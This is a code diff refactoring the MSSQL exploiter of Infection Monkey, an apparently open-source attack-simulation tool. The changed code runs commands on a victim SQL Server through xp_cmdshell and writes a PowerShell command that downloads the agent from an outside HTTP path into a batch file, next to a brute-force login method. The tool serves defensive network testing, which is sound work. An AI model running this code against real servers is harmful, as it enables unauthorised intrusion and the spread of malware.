diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 8b378f418..f80dc3db6 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -37,7 +37,6 @@ class MSSQLExploiter(HostExploiter):
     XP_CMDSHELL_COMMAND_START = "xp_cmdshell '"
     XP_CMDSHELL_COMMAND_END = "'"
     EXPLOIT_COMMAND_PREFIX = "<nul set /p="
-    EXPLOIT_COMMAND_SUFFIX = ">{payload_file_path}"
     MONKEY_DOWNLOAD_COMMAND = (
         "powershell (new-object System.Net.WebClient)."
         "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
@@ -133,9 +132,8 @@ class MSSQLExploiter(HostExploiter):
             sleep(MSSQLExploiter.QUERY_BUFFER)
 
     def upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
-        monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim)
+        self._write_download_command_to_batch_file(monkey_path_on_victim)
         self.run_payload_file()
-        self.add_executed_cmd(monkey_download_command.command)
 
     def remove_temp_dir(self):
         # Remove temporary dir we stored payload at
@@ -159,10 +157,24 @@ class MSSQLExploiter(HostExploiter):
         http_thread.stop()
         http_thread.join(LONG_REQUEST_TIMEOUT)
 
-    def write_download_command_to_payload(self, monkey_path_on_victim: PureWindowsPath):
-        monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim)
-        self.run_mssql_command(monkey_download_command)
-        return monkey_download_command
+    def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath):
+        agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
+            http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
+        )
+        self._write_command_to_batch_file(agent_download_command)
+
+    def _write_command_to_batch_file(self, command: str):
+        write_to_file_command = f"<nul set /p={command}>{self.payload_file_path}"
+        self._run_mssql_command(write_to_file_command)
+
+    # Note: This is a strangler used to replace self.run_mssql_command()
+    def _run_mssql_command(self, command: str):
+        logger.debug(f"Running command on SQL Server: {command}")
+
+        self.cursor.execute(f"xp_cmdshell '{command}'")
+        self.add_executed_cmd(command)
+
+        sleep(MSSQLExploiter.QUERY_BUFFER)
 
     def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath):
         # Form monkey's launch command
@@ -177,18 +189,6 @@ class MSSQLExploiter(HostExploiter):
             suffix=suffix,
         )
 
-    def get_monkey_download_command(self, monkey_path_on_victim: PureWindowsPath):
-        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
-            http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
-        )
-        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
-        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
-            payload_file_path=self.payload_file_path
-        )
-        return MSSQLLimitedSizePayload(
-            command=monkey_download_command, suffix=suffix, prefix=prefix
-        )
-
     def brute_force(self, host, port, users_passwords_pairs_list):
         """
         Starts the brute force connection attempts and if needed then init the payload process.